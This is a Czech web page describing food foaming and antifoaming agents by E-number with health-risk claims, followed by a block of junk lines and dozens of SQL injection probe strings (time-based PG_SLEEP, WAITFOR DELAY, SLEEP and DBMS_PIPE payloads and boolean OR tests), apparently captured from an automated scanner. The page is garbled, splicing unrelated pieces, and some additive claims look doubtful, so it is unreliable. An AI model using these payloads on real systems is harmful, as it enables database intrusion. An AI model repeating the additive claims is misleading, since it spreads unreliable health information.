Pěnotvorné látky umožňují vytváření stejnorodé disperze plynné fáze v kapalných i tuhých potravinách.
Odpěňovače snižují množství vytvořené pěny nebo i zabraňují jejímu vytváření.
Pěnotvorné látky
Poměrně specifické přídatné látky, umožňující vytváření stejnorodých disperzí plynů v kapalných i tuhých potravinách. Používají se v podstatě jen dva druhy, které nemají žádné známé negativní zdravotní účinky na lidský organismus.
- E 339 - Fosforečnany sodné
- E 463 - Hydroxypropylcelulóza
Používání třetí známé pěnotvorné látky je v ČR zakázané, protože způsobuje alergie a je zcela nevhodná i pro děti.
- E 487 - Laurylsulfát sodný
Odpěňovače
V některých případech je u potravin potřeba snížit množství vytvářené pěny nebo mu úplně zabránit a k tomu se používají odpěňovače. Odpěňovače se získávají z přírodních a živočišných zdrojů i syntetickým způsobem.
Odpěňovače živočišného původu získané syntetickou cestou bez nežádoucích účinků na zdraví
- E 434 - Polyoxyethylensorbitanmonopalmitát
- E 435 - Polyoxyethylensorbitanmonostearát
- E 436 - Polyoxyethylensorbitantristearát
- E 442 - Fosfatidy amonné
- E 572 - Stearan hořečnatý
Zdraví neškodné a bezpečné odpěňovače získané synteticky
- E 900 - Dimethylsilikonový olej
- E 1505 - Triethyl-citrát
Odpěňovače s nepříznivými účinky na lidský organismus, způsobující alergické reakce a nevhodné pro děti
- E 400 - Kyselina alginová
- E 405 - Propylenglykolalginát
- E 433 - Polyoxyethylensorbitanmonooleát
- E 1520 - Propylenglykol
Nebezpečné odpěňovače s výrazně škodlivými účinky, které jsou v ČR zakázané
- E 240 - Formaldehyd
- E 387 - Oxystearin
- E 431 - Polyoxyethylen monostearát
V ČR a EU zakázané odpěňovače mohou být součástí potravin, které byly vyrobeny mimo země EU a do EU a ČR dovezeny.
Povolené pěnotvorné látky jsou lidskému zdraví neškodné a negativní účinky na lidský organismus nemá ani většina odpěňovačů. Protože to ale nemusí být jediné přídatné látky - tzv. ečka - v potravině, je vždy dobré si přečíst složení. V případě, že se v potravině nachází jiné látky s negativními účinky, měla by se jejich konzumace omezit na minimum nebo úplně. I když je množství takových látek regulováno předpisy, nelze totiž zcela vyloučit různé zdravotní problémy při konzumaci většího množství potravin s nepříznivými e-látkami.
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@fZl89
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
IyTxBtTj')) OR 369=(SELECT 369 FROM PG_SLEEP(15))--
zJgpUVwn') OR 753=(SELECT 753 FROM PG_SLEEP(15))--
sbwEj7gm' OR 918=(SELECT 918 FROM PG_SLEEP(15))--
-1)) OR 871=(SELECT 871 FROM PG_SLEEP(15))--
-5) OR 252=(SELECT 252 FROM PG_SLEEP(15))--
-5 OR 956=(SELECT 956 FROM PG_SLEEP(15))--
s48zNr9T'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+849-849) --
-1" OR 3*2<(0+5+849-849) --
-1" OR 3+849-849-1=0+0+0+1 --
-1" OR 2+849-849-1=0+0+0+1 --
-1' OR 3*2>(0+5+705-705) or '4unQsCXS'='
-1' OR 3*2<(0+5+705-705) or '4unQsCXS'='
-1' OR 3+705-705-1=0+0+0+1 or '4unQsCXS'='
-1' OR 2+705-705-1=0+0+0+1 or '4unQsCXS'='
-1' OR 3*2>(0+5+339-339) --
-1' OR 3*2<(0+5+339-339) --
-1' OR 3+339-339-1=0+0+0+1 --
-1' OR 2+339-339-1=0+0+0+1 --
-1 OR 3*2>(0+5+870-870)
-1 OR 3*2<(0+5+870-870)
-1 OR 3+870-870-1=0+0+0+1
-1 OR 2+870-870-1=0+0+0+1
-1 OR 3*2>(0+5+887-887) --
-1 OR 3*2<(0+5+887-887) --
-1 OR 3+887-887-1=0+0+0+1 --
-1 OR 2+887-887-1=0+0+0+1 --
555
555
555
555
555